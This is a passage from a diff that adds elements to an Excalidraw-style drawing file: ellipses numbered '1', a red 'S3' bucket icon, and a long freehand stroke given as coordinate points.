"strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 2566.363192597587, + "y": -1056.8273231360133, + "strokeColor": "#1971c2", + "backgroundColor": "#a5d8ff", + "width": 127.45973387078428, + "height": 133.132176323629, + "seed": 1662883768, + "groupIds": [ + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [ + { + "type": "text", + "id": "9xssH7hY" + } + ], + "updated": 1720441453355, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 951, + "versionNonce": 1129876704, + "index": "c14vV", + "isDeleted": false, + "id": "9xssH7hY", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 2622.137720819687, + "y": -1032.3305673104794, + "strokeColor": "#1971c2", + "backgroundColor": "#ffc9c9", + "width": 15.783035278320312, + "height": 72.8066589269846, + "seed": 1275191480, + "groupIds": [ + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453355, + "link": null, + "locked": false, + "fontSize": 58.24532714158768, + "fontFamily": 1, + "text": "1", + "rawText": "1", + "textAlign": "center", + "verticalAlign": "top", + "containerId": "lqI3eXvp39j-k4DoDgICX", + "originalText": "1", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "ellipse", + "version": 1163, + "versionNonce": 1718874336, + "index": "c14vl", + "isDeleted": false, + "id": "rMsRB4kH9cNjSF0TB_41u", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 2562.500339299434, + "y": -584.9216624501032, + "strokeColor": "#1971c2", + "backgroundColor": "#a5d8ff", + "width": 127.45973387078428, + "height": 133.132176323629, + "seed": 58001848, + "groupIds": [ + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [ + { + "type": "text", + "id": "9jzlRSlL" + } + ], + "updated": 1720441453355, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 1029, + "versionNonce": 1484969184, + "index": "c14w", + "isDeleted": false, + "id": "9jzlRSlL", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 2618.274867521534, + "y": -560.4249066245693, + "strokeColor": "#1971c2", + "backgroundColor": "#ffc9c9", + "width": 15.783035278320312, + "height": 72.8066589269846, + "seed": 345707192, + "groupIds": [ + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453355, + "link": null, + "locked": false, + "fontSize": 58.24532714158768, + "fontFamily": 1, + "text": "1", + "rawText": "1", + "textAlign": "center", + "verticalAlign": "top", + "containerId": "rMsRB4kH9cNjSF0TB_41u", + "originalText": "1", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "ellipse", + "version": 1086, + "versionNonce": 1863661792, + "index": "c14wV", + "isDeleted": false, + "id": "DAvbpwZiZ0Ed4wVQnVpjj", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 2409.011301128844, + "y": -1939.333037471787, + "strokeColor": "#1971c2", + "backgroundColor": "#a5d8ff", + "width": 127.45973387078428, + "height": 133.132176323629, + "seed": 102235064, + "groupIds": [ + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [ + { + "type": "text", + "id": "nmAcnLvr" + } + ], + "updated": 1720441453355, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 951, + "versionNonce": 1304108256, + "index": "c14x", + "isDeleted": false, + "id": "nmAcnLvr", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 2464.785829350944, + "y": -1914.8362816462532, + "strokeColor": "#1971c2", + "backgroundColor": "#ffc9c9", + "width": 15.783035278320312, + "height": 72.8066589269846, + "seed": 1779418296, + "groupIds": [ + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453355, + "link": null, + "locked": false, + "fontSize": 58.24532714158768, + "fontFamily": 1, + "text": "1", + "rawText": "1", + "textAlign": "center", + "verticalAlign": "top", + "containerId": "DAvbpwZiZ0Ed4wVQnVpjj", + "originalText": "1", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "ellipse", + "version": 2312, + "versionNonce": 637829344, + "index": "c1664", + "isDeleted": false, + "id": "csooWNEXsOFFCs9ZG_9sM", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3268.0045661775916, + "y": -8.561133939103115, + "strokeColor": "#fe4b4b", + "backgroundColor": "#fe4b4b", + "width": 114.12410494319971, + "height": 117.2758241041345, + "seed": 1336234952, + "groupIds": [ + "HYDzsEz0DByxbfTsVLfKx", + "nRfU_0DH1Le0YnoBlF2vN" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453355, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 2513, + "versionNonce": 2004968672, + "index": "c1668", + "isDeleted": false, + "id": "LLWdaHPtHUEQYgz5Yv0VN", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3302.853795164232, + "y": 19.34294525540372, + "strokeColor": "#fff", + "backgroundColor": "#fe4b4b", + "width": 47.15856125734791, + "height": 50.44564277348705, + "seed": 1985452744, + "groupIds": [ + "4vqPkCpfecBrsk9CMOwT9", + "HYDzsEz0DByxbfTsVLfKx", + "nRfU_0DH1Le0YnoBlF2vN" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453355, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 4.701202487997562, + 39.30246532011231 + ], + [ + 8.274879809586231, + 46.44481174302728 + ], + [ + 24.87811363629736, + 49.49858835009657 + ], + [ + 39.779778655159326, + 46.947968642641875 + ], + [ + 43.23922301680426, + 39.05466604365744 + ], + [ + 46.820076587070325, + 0.11941280861355426 + ], + [ + 45.75309241016725, + -0.9470544233904827 + ], + [ + -0.33848467027758444, + 0.08113581318183112 + ] + ] + }, + { + "type": "ellipse", + "version": 1465, + "versionNonce": 1338099936, + "index": "c166C", + "isDeleted": false, + "id": "G9cwtU6YSxxe-o54cG7HU", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3301.99482025065, + "y": 13.03809032415927, + "strokeColor": "#fff", + "backgroundColor": "#fe4b4b", + "width": 47.81020221119089, + "height": 13.147740553831483, + "seed": 1026097608, + "groupIds": [ + "4vqPkCpfecBrsk9CMOwT9", + "HYDzsEz0DByxbfTsVLfKx", + "nRfU_0DH1Le0YnoBlF2vN" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453355, + "link": null, + "locked": false + }, + { + "type": "ellipse", + "version": 1474, + "versionNonce": 173386976, + "index": "c166G", + "isDeleted": false, + "id": "td4Kf6zPkhjtfezno2zbx", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3322.9356128970194, + "y": 32.77189533414753, + "strokeColor": "#fff", + "backgroundColor": "#fff", + "width": 5.7439550837716915, + "height": 5.7439550837716915, + "seed": 322275528, + "groupIds": [ + "4vqPkCpfecBrsk9CMOwT9", + "HYDzsEz0DByxbfTsVLfKx", + "nRfU_0DH1Le0YnoBlF2vN" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453356, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 1484, + "versionNonce": 281874656, + "index": "c166K", + "isDeleted": false, + "id": "loy7njYqM5ucsN6FbeDB4", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3325.3327059570347, + "y": 37.126932420456455, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 26.519442167330837, + "height": 12.813048275974104, + "seed": 605630408, + "groupIds": [ + "4vqPkCpfecBrsk9CMOwT9", + "HYDzsEz0DByxbfTsVLfKx", + "nRfU_0DH1Le0YnoBlF2vN" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453356, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -12.447844093585116, + 8.705905855567563 + ], + [ + -26.519442167330837, + 12.813048275974104 + ], + [ + -24.508009901249434, + 3.8149790744951915 + ] + ] + }, + { + "type": "text", + "version": 894, + "versionNonce": 448263392, + "index": "c166O", + "isDeleted": false, + "id": "oWt70EbE", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3318.674294764467, + "y": 75.81325262348128, + "strokeColor": "#fff", + "backgroundColor": "#fff", + "width": 17.064060686012017, + "height": 16.952707828345357, + "seed": 1206908616, + "groupIds": [ + "HYDzsEz0DByxbfTsVLfKx", + "nRfU_0DH1Le0YnoBlF2vN" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453356, + "link": null, + "locked": false, + "fontSize": 14.569947435407453, + "fontFamily": 3, + "text": "S3", + "rawText": "S3", + "textAlign": "left", + "verticalAlign": "top", + "containerId": null, + "originalText": "S3", + "autoResize": true, + "lineHeight": 1.1635393952861757 + }, + { + "type": "freedraw", + "version": 1740, + "versionNonce": 1839618272, + "index": "c166S", + "isDeleted": false, + "id": "dZpPVfu83auOwbAF9pEYl", + "fillStyle": "cross-hatch", + "strokeWidth": 4, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 10, + "angle": 0, + "x": 3171.9434110981247, + "y": 112.20286280995549, + "strokeColor": "#0b7285", + "backgroundColor": "transparent", + "width": 210.78184471578965, + "height": 161.1560388682961, + "seed": 785546440, + "groupIds": [ + "NRUqKx4dSwc2FuqcBZ8FC", + "nRfU_0DH1Le0YnoBlF2vN" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453356, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 0, + -0.5115986506136931 + ], + [ + 2.0464336349297962, + -1.534815468078591 + ], + [ + 5.116064571086786, + -3.0696309361570857 + ], + [ + 9.208931840946379, + -4.092847753621983 + ], + [ + 12.790161427717155, + -4.604465920473189 + ], + [ + 15.348193713260743, + -5.116064571086882 + ], + [ + 15.85979236387434, + -5.627663221700574 + ], + [ + 17.39462734819054, + -5.627663221700574 + ], + [ + 18.41782464941773, + -6.650880039165473 + ], + [ + 19.441060983120142, + -7.162498206016678 + ], + [ + 19.95265963373374, + -7.67409685663037 + ], + [ + 22.510691919277324, + -8.185695507244064 + ], + [ + 24.557125554207122, + -8.697313674095172 + ], + [ + 27.115157839750513, + -9.208912324708864 + ], + [ + 29.673190125293907, + -10.232129142173765 + ], + [ + 31.7196237602237, + -10.743727792787457 + ], + [ + 34.277656045767095, + -12.27856277710356 + ], + [ + 35.30085334699449, + -12.790161427717251 + ], + [ + 35.81245199760827, + -12.790161427717251 + ], + [ + 36.32405064822187, + -12.790161427717251 + ], + [ + 36.32405064822187, + -13.301760078330847 + ], + [ + 36.83568833131049, + -13.81337824518215 + ], + [ + 39.905319267467675, + -14.836595062646952 + ], + [ + 41.951752902397466, + -15.859792363874336 + ], + [ + 43.99814750485205, + -17.39462734819044 + ], + [ + 44.50978518794087, + -17.906225998804086 + ], + [ + 45.02138383855465, + -18.417824649417778 + ], + [ + 45.53298248916825, + -18.92944281626898 + ], + [ + 45.53298248916825, + -19.44104146688263 + ], + [ + 46.04458113978185, + -20.46425828434753 + ], + [ + 46.04458113978185, + -21.48747510181242 + ], + [ + 46.04458113978185, + -21.999073752426114 + ], + [ + 46.04458113978185, + -22.51069191927732 + ], + [ + 45.53298248916825, + -22.51069191927732 + ], + [ + 45.02138383855465, + -23.022290569890966 + ], + [ + 44.50978518794087, + -23.022290569890966 + ], + [ + 43.99814750485205, + -23.022290569890966 + ], + [ + 42.97495020362485, + -23.022290569890966 + ], + [ + 42.97495020362485, + -24.045507387355862 + ], + [ + 42.46335155301107, + -24.557106037969508 + ], + [ + 42.46335155301107, + -26.091921506048102 + ], + [ + 42.46335155301107, + -28.138355140977843 + ], + [ + 41.951752902397466, + -29.1615719584427 + ], + [ + 41.951752902397466, + -30.18478877590759 + ], + [ + 41.440115219308844, + -32.74282106145108 + ], + [ + 40.928516568695066, + -33.25441971206473 + ], + [ + 40.928516568695066, + -34.78923518014327 + ], + [ + 40.928516568695066, + -35.81245199760817 + ], + [ + 40.41691791808126, + -35.81245199760817 + ], + [ + 40.41691791808126, + -36.32405064822186 + ], + [ + 39.905319267467675, + -37.34726746568676 + ], + [ + 39.905319267467675, + -37.85888563253796 + ], + [ + 39.905319267467675, + -39.39370110061646 + ], + [ + 38.37048428315148, + -41.95173338615995 + ], + [ + 37.85888563253788, + -42.97495020362484 + ], + [ + 37.85888563253788, + -43.48654885423849 + ], + [ + 37.85888563253788, + -45.021364322317034 + ], + [ + 37.85888563253788, + -46.55617979039563 + ], + [ + 37.34728698192428, + -47.06779795724683 + ], + [ + 37.34728698192428, + -47.579396607860474 + ], + [ + 37.34728698192428, + -48.09101477471168 + ], + [ + 37.34728698192428, + -48.60261342532537 + ], + [ + 37.34728698192428, + -49.62583024279022 + ], + [ + 37.34728698192428, + -50.64904706025513 + ], + [ + 37.34728698192428, + -51.16064571086881 + ], + [ + 37.34728698192428, + -51.67224436148251 + ], + [ + 37.34728698192428, + -52.695461178947355 + ], + [ + 37.34728698192428, + -53.71867799641225 + ], + [ + 37.34728698192428, + -54.230276647025896 + ], + [ + 37.85888563253788, + -54.7418948138771 + ], + [ + 38.88208293376527, + -55.25350322260956 + ], + [ + 38.88208293376527, + -55.765101873223244 + ], + [ + 38.88208293376527, + -56.27671028195569 + ], + [ + 38.88208293376527, + -56.78829917445064 + ], + [ + 38.88208293376527, + -57.29992709942059 + ], + [ + 39.393720616854075, + -58.323134158766685 + ], + [ + 39.905319267467675, + -58.323134158766685 + ], + [ + 40.41691791808126, + -58.323134158766685 + ], + [ + 42.46335155301107, + -57.29992709942059 + ], + [ + 45.02138383855465, + -56.78829917445064 + ], + [ + 50.64904706025523, + -55.765101873223244 + ], + [ + 51.67224436148241, + -55.765101873223244 + ], + [ + 56.2767102819558, + -55.765101873223244 + ], + [ + 57.81154526627181, + -55.765101873223244 + ], + [ + 60.881176202428804, + -55.765101873223244 + ], + [ + 62.416011186744996, + -55.765101873223244 + ], + [ + 63.95080713858598, + -56.27671028195569 + ], + [ + 65.99724077351578, + -56.27671028195569 + ], + [ + 69.57847036028656, + -56.78829917445064 + ], + [ + 71.11330534460276, + -57.29992709942059 + ], + [ + 74.18293628075975, + -58.323134158766685 + ], + [ + 76.74096856630334, + -58.83474256749914 + ], + [ + 77.76420490000554, + -58.83474256749914 + ], + [ + 78.27580355061933, + -59.85795938496398 + ], + [ + 79.29900085184654, + -59.85795938496398 + ], + [ + 79.8105995024603, + -60.36956779369644 + ], + [ + 82.36863178800371, + -61.904363745537474 + ], + [ + 82.36863178800371, + -62.927600079239916 + ], + [ + 82.88026947109253, + -63.439198729853565 + ], + [ + 83.39186812170614, + -63.95080713858597 + ], + [ + 83.39186812170614, + -64.46239603108091 + ], + [ + 84.9266640735471, + -65.997231015397 + ], + [ + 86.4614990578633, + -67.02042831662435 + ], + [ + 86.9730977084769, + -68.04366465032676 + ], + [ + 87.9963340421795, + -69.06687170967285 + ], + [ + 89.0195313434067, + -70.09008852713775 + ], + [ + 90.0427286446341, + -71.1132955864839 + ], + [ + 90.5543663277227, + -71.62490399521634 + ], + [ + 92.0891622795639, + -73.15972922141364 + ], + [ + 92.60076093017749, + -74.18293628075973 + ], + [ + 93.6239972638799, + -76.22936015757077 + ], + [ + 94.13559591449348, + -77.25255745879811 + ], + [ + 94.64719456510727, + -78.78739244311423 + ], + [ + 94.64719456510727, + -79.29900085184663 + ], + [ + 94.64719456510727, + -81.34542472865765 + ], + [ + 94.64719456510727, + -83.90345701420105 + ], + [ + 94.64719456510727, + -84.92665431542844 + ], + [ + 94.64719456510727, + -85.43828224039841 + ], + [ + 94.64719456510727, + -86.46148929974453 + ], + [ + 94.13559591449348, + -87.99631452594184 + ], + [ + 93.6239972638799, + -89.01952158528793 + ], + [ + 93.6239972638799, + -89.53112999402038 + ], + [ + 93.6239972638799, + -90.04271888651532 + ], + [ + 93.6239972638799, + -91.06594546209897 + ], + [ + 93.11239861326628, + -92.08916227956387 + ], + [ + 93.11239861326628, + -92.60075117205875 + ], + [ + 93.11239861326628, + -92.08916227956387 + ], + [ + 93.11239861326628, + -89.01952158528793 + ], + [ + 93.6239972638799, + -87.48468660097188 + ], + [ + 95.15879321572106, + -76.22936015757077 + ], + [ + 95.15879321572106, + -67.53205624159435 + ], + [ + 94.64719456510727, + -64.46239603108091 + ], + [ + 93.11239861326628, + -60.36956779369644 + ], + [ + 90.0427286446341, + -55.25350322260956 + ], + [ + 87.48469635909068, + -51.67224436148251 + ], + [ + 85.43830175663594, + -48.60261342532537 + ], + [ + 82.88026947109253, + -47.06779795724683 + ], + [ + 80.83383583616272, + -45.021364322317034 + ], + [ + 79.8105995024603, + -42.46333203677364 + ], + [ + 77.76420490000554, + -39.905299751230146 + ], + [ + 76.74096856630334, + -37.85888563253796 + ], + [ + 75.71777126507575, + -35.81245199760817 + ], + [ + 74.18293628075975, + -32.23120289459988 + ], + [ + 73.15973897953236, + -30.69638742652129 + ], + [ + 72.64814032891877, + -30.18478877590759 + ], + [ + 72.64814032891877, + -31.207986077134983 + ], + [ + 72.64814032891877, + -32.74282106145108 + ], + [ + 72.64814032891877, + -34.27763652952959 + ], + [ + 74.69453493137354, + -36.83566881507307 + ], + [ + 75.71777126507575, + -39.905299751230146 + ], + [ + 76.22936991568955, + -41.440115219308744 + ], + [ + 77.25256721691674, + -42.46333203677364 + ], + [ + 78.27580355061933, + -45.021364322317034 + ], + [ + 80.32223718554914, + -49.114212075939015 + ], + [ + 82.36863178800371, + -52.695461178947355 + ], + [ + 83.90346677231993, + -56.27671028195569 + ], + [ + 85.43830175663594, + -61.904363745537474 + ], + [ + 85.43830175663594, + -62.41599167050747 + ], + [ + 85.9499004072497, + -64.97402395605086 + ], + [ + 85.9499004072497, + -67.02042831662435 + ], + [ + 85.9499004072497, + -68.04366465032676 + ], + [ + 85.9499004072497, + -70.09008852713775 + ], + [ + 85.9499004072497, + -72.13649288771123 + ], + [ + 85.9499004072497, + -72.64812081268126 + ], + [ + 85.9499004072497, + -74.18293628075973 + ], + [ + 85.9499004072497, + -75.71776150695707 + ], + [ + 85.9499004072497, + -77.25255745879811 + ], + [ + 85.9499004072497, + -78.27579379250052 + ], + [ + 85.9499004072497, + -79.29900085184663 + ], + [ + 85.9499004072497, + -79.81058974434154 + ], + [ + 85.9499004072497, + -81.34542472865765 + ], + [ + 85.9499004072497, + -81.85703313739012 + ], + [ + 85.9499004072497, + -82.88024995485495 + ], + [ + 85.9499004072497, + -83.90345701420105 + ], + [ + 84.9266640735471, + -84.92665431542844 + ], + [ + 84.41506542293351, + -86.46148929974453 + ], + [ + 84.41506542293351, + -87.48468660097188 + ], + [ + 83.90346677231993, + -90.04271888651532 + ], + [ + 83.90346677231993, + -92.08916227956387 + ], + [ + 83.90346677231993, + -93.6239777476424 + ], + [ + 83.90346677231993, + -94.64719456510726 + ], + [ + 83.90346677231993, + -96.18201003318585 + ], + [ + 83.90346677231993, + -97.20522685065075 + ], + [ + 83.90346677231993, + -98.2284436681156 + ], + [ + 83.90346677231993, + -99.2516507274617 + ], + [ + 83.90346677231993, + -100.78647595365905 + ], + [ + 83.90346677231993, + -101.29807460427273 + ], + [ + 83.90346677231993, + -102.32129142173763 + ], + [ + 83.90346677231993, + -102.83288031423251 + ], + [ + 83.90346677231993, + -103.34450823920248 + ], + [ + 83.90346677231993, + -103.85610688981613 + ], + [ + 83.39186812170614, + -104.879323707281 + ], + [ + 83.39186812170614, + -105.39091259977596 + ], + [ + 82.88026947109253, + -106.92574758409205 + ], + [ + 82.88026947109253, + -107.9489448853194 + ], + [ + 82.88026947109253, + -109.99538827836793 + ], + [ + 82.88026947109253, + -111.53020374644649 + ], + [ + 82.88026947109253, + -113.06500945640629 + ], + [ + 82.88026947109253, + -114.59984444072235 + ], + [ + 82.36863178800371, + -116.13466966691969 + ], + [ + 82.36863178800371, + -117.15787672626581 + ], + [ + 82.36863178800371, + -117.66948513499821 + ], + [ + 82.36863178800371, + -118.69270195246311 + ], + [ + 81.85703313739013, + -119.71590901180923 + ], + [ + 81.34543448677634, + -120.7391063130366 + ], + [ + 81.34543448677634, + -122.27394129735265 + ], + [ + 80.32223718554914, + -123.80876652355002 + ], + [ + 79.8105995024603, + -124.83197358289611 + ], + [ + 79.8105995024603, + -125.34358199162854 + ], + [ + 79.8105995024603, + -125.85517088412348 + ], + [ + 79.29900085184654, + -126.87840721782588 + ], + [ + 78.78740220123294, + -127.39000586843953 + ], + [ + 78.78740220123294, + -127.90161427717197 + ], + [ + 78.27580355061933, + -128.41322268590446 + ], + [ + 78.27580355061933, + -128.9248310946369 + ], + [ + 77.76420490000554, + -129.948038153983 + ], + [ + 77.25256721691674, + -130.97125497144788 + ], + [ + 77.25256721691674, + -131.48286338018033 + ], + [ + 76.74096856630334, + -132.5060704395264 + ], + [ + 75.20617261446215, + -133.01767884825887 + ], + [ + 75.20617261446215, + -134.04089566572378 + ], + [ + 74.18293628075975, + -134.5525040744562 + ], + [ + 74.18293628075975, + -135.57571113380232 + ], + [ + 73.15973897953236, + -136.08731954253474 + ], + [ + 72.13650264582995, + -137.62213013155394 + ], + [ + 71.62490399521636, + -138.13374829840512 + ], + [ + 70.09010804337518, + -139.15696023681068 + ], + [ + 69.57847036028656, + -139.15696023681068 + ], + [ + 69.06687170967295, + -139.66856376648366 + ], + [ + 68.04367440844538, + -140.18016241709734 + ], + [ + 67.53207575783198, + -140.69178058394854 + ], + [ + 65.48564212290218, + -142.22659605202716 + ], + [ + 63.95080713858598, + -142.7381947026408 + ], + [ + 63.43920848797239, + -142.7381947026408 + ], + [ + 62.416011186744996, + -143.24981286949202 + ], + [ + 60.881176202428804, + -143.76141639916509 + ], + [ + 60.881176202428804, + -144.27302480789754 + ], + [ + 60.3695775518152, + -144.27302480789754 + ], + [ + 59.34634121811279, + -144.27302480789754 + ], + [ + 58.32314391688541, + -144.27302480789754 + ], + [ + 56.7883089325694, + -144.27302480789754 + ], + [ + 53.71867799641222, + -144.27302480789754 + ], + [ + 53.20707934579843, + -144.27302480789754 + ], + [ + 51.16064571086883, + -144.27302480789754 + ], + [ + 50.64904706025523, + -144.27302480789754 + ], + [ + 49.625849759027645, + -144.78462833757055 + ], + [ + 48.09101477471164, + -144.78462833757055 + ], + [ + 45.02138383855465, + -144.78462833757055 + ], + [ + 44.50978518794087, + -144.78462833757055 + ], + [ + 42.97495020362485, + -144.78462833757055 + ], + [ + 42.46335155301107, + -144.78462833757055 + ], + [ + 40.928516568695066, + -144.78462833757055 + ], + [ + 39.905319267467675, + -145.29622698818423 + ], + [ + 38.37048428315148, + -145.29622698818423 + ], + [ + 36.83568833131049, + -145.80784515503544 + ], + [ + 34.277656045767095, + -145.80784515503544 + ], + [ + 30.696387426521298, + -146.83105709344096 + ], + [ + 29.161591474680122, + -146.83105709344096 + ], + [ + 28.1383551409779, + -146.83105709344096 + ], + [ + 26.60355918913692, + -146.83105709344096 + ], + [ + 26.091921506048106, + -147.34266062311406 + ], + [ + 25.58032285543431, + -147.34266062311406 + ], + [ + 25.068724204820718, + -147.34266062311406 + ], + [ + 24.557125554207122, + -147.34266062311406 + ], + [ + 24.045526903593338, + -147.34266062311406 + ], + [ + 23.022290569890924, + -147.34266062311406 + ], + [ + 21.48749461804994, + -147.34266062311406 + ], + [ + 20.975856934961318, + -147.34266062311406 + ], + [ + 20.464258284347533, + -147.34266062311406 + ], + [ + 18.41782464941773, + -147.34266062311406 + ], + [ + 17.39462734819054, + -146.3194486847085 + ], + [ + 15.348193713260743, + -146.3194486847085 + ], + [ + 14.324996412033165, + -145.29622698818423 + ], + [ + 12.790161427717155, + -145.29622698818423 + ], + [ + 11.766964126489965, + -145.29622698818423 + ], + [ + 10.743727792787363, + -145.29622698818423 + ], + [ + 9.208931840946379, + -144.78462833757055 + ], + [ + 8.185695507243969, + -144.27302480789754 + ], + [ + 7.162498206016583, + -143.76141639916509 + ], + [ + 6.650899555402985, + -143.76141639916509 + ], + [ + 5.116064571086786, + -142.7381947026408 + ], + [ + 3.0696309361569893, + -142.22659605202716 + ], + [ + 1.0232363337024097, + -141.20338411362164 + ], + [ + -1.0231973012273865, + -140.18016241709734 + ], + [ + -2.0464336349297962, + -140.18016241709734 + ], + [ + -3.0696309361569893, + -140.18016241709734 + ], + [ + -4.092828237384569, + -139.66856376648366 + ], + [ + -4.6044659204731895, + -139.15696023681068 + ], + [ + -6.650860522927769, + -138.64535182807822 + ], + [ + -8.185695507243969, + -138.13374829840512 + ], + [ + -9.208892808471354, + -138.13374829840512 + ], + [ + -10.232129142173767, + -138.13374829840512 + ], + [ + -14.32495737955814, + -137.62213013155394 + ], + [ + -15.348193713260743, + -136.5989279512672 + ], + [ + -20.464258284347533, + -136.08731954253474 + ], + [ + -20.975856934961318, + -136.08731954253474 + ], + [ + -23.533889220504516, + -135.57571113380232 + ], + [ + -24.045487871118308, + -135.57571113380232 + ], + [ + -24.557086521732096, + -135.57571113380232 + ], + [ + -24.557086521732096, + -135.06410272506986 + ], + [ + -25.068724204820718, + -135.06410272506986 + ], + [ + -26.091921506048106, + -134.5525040744562 + ], + [ + -26.091921506048106, + -134.04089566572378 + ], + [ + -27.115118807275294, + -134.04089566572378 + ], + [ + -27.626756490364112, + -133.5292872569913 + ], + [ + -28.1383551409779, + -133.01767884825887 + ], + [ + -28.6499537915915, + -133.01767884825887 + ], + [ + -29.161552442205096, + -131.99447178891276 + ], + [ + -29.673151092818884, + -131.48286338018033 + ], + [ + -30.184788775907695, + -131.48286338018033 + ], + [ + -30.184788775907695, + -130.97125497144788 + ], + [ + -30.696387426521298, + -130.45964656271542 + ], + [ + -31.20798607713489, + -129.948038153983 + ], + [ + -32.23118337836228, + -129.43643950336934 + ], + [ + -32.74282106145109, + -128.9248310946369 + ], + [ + -32.74282106145109, + -128.41322268590446 + ], + [ + -33.25441971206469, + -127.39000586843953 + ], + [ + -33.76601836267848, + -126.87840721782588 + ], + [ + -33.76601836267848, + -126.36679880909344 + ], + [ + -33.76601836267848, + -125.85517088412348 + ], + [ + -33.76601836267848, + -125.34358199162854 + ], + [ + -33.76601836267848, + -124.83197358289611 + ], + [ + -33.76601836267848, + -124.32036517416367 + ], + [ + -33.76601836267848, + -123.80876652355002 + ], + [ + -33.25441971206469, + -123.80876652355002 + ], + [ + -32.74282106145109, + -123.80876652355002 + ], + [ + -30.184788775907695, + -124.32036517416367 + ], + [ + -29.161552442205096, + -124.32036517416367 + ], + [ + -28.6499537915915, + -124.83197358289611 + ], + [ + -28.1383551409779, + -124.83197358289611 + ], + [ + -27.626756490364112, + -124.83197358289611 + ], + [ + -27.115118807275294, + -124.83197358289611 + ], + [ + -27.115118807275294, + -124.32036517416367 + ], + [ + -26.091921506048106, + -123.80876652355002 + ], + [ + -26.091921506048106, + -122.78554970608512 + ], + [ + -26.603520156661897, + -122.78554970608512 + ], + [ + -26.603520156661897, + -122.27394129735265 + ], + [ + -28.1383551409779, + -121.76233288862025 + ], + [ + -29.673151092818884, + -121.76233288862025 + ], + [ + -31.20798607713489, + -121.76233288862025 + ], + [ + -31.71958472774868, + -121.76233288862025 + ], + [ + -32.23118337836228, + -121.25073423800656 + ], + [ + -33.25441971206469, + -121.25073423800656 + ], + [ + -34.78921566390567, + -121.25073423800656 + ], + [ + -36.32405064822187, + -121.25073423800656 + ], + [ + -36.83564929883546, + -121.25073423800656 + ], + [ + -37.85888563253807, + -121.25073423800656 + ], + [ + -39.39368158437905, + -121.25073423800656 + ], + [ + -39.905280234992645, + -121.25073423800656 + ], + [ + -41.95171386992225, + -121.25073423800656 + ], + [ + -42.97495020362485, + -121.25073423800656 + ], + [ + -43.99814750485205, + -121.25073423800656 + ], + [ + -47.06777844100923, + -121.25073423800656 + ], + [ + -52.18384301209621, + -121.25073423800656 + ], + [ + -54.23027664702601, + -121.25073423800656 + ], + [ + -57.299907583183, + -121.25073423800656 + ], + [ + -59.34634121811279, + -121.25073423800656 + ], + [ + -59.85793986872659, + -121.25073423800656 + ], + [ + -60.36953851934019, + -121.25073423800656 + ], + [ + -60.881176202428804, + -121.25073423800656 + ], + [ + -62.41597215426978, + -121.25073423800656 + ], + [ + -62.92757080488357, + -121.25073423800656 + ], + [ + -63.95080713858598, + -121.25073423800656 + ], + [ + -64.46240578919958, + -121.25073423800656 + ], + [ + -65.48560309042715, + -121.25073423800656 + ], + [ + -67.02043807474315, + -120.7391063130366 + ], + [ + -68.04363537597035, + -120.22751742054166 + ], + [ + -70.09006901090015, + -119.71590901180923 + ], + [ + 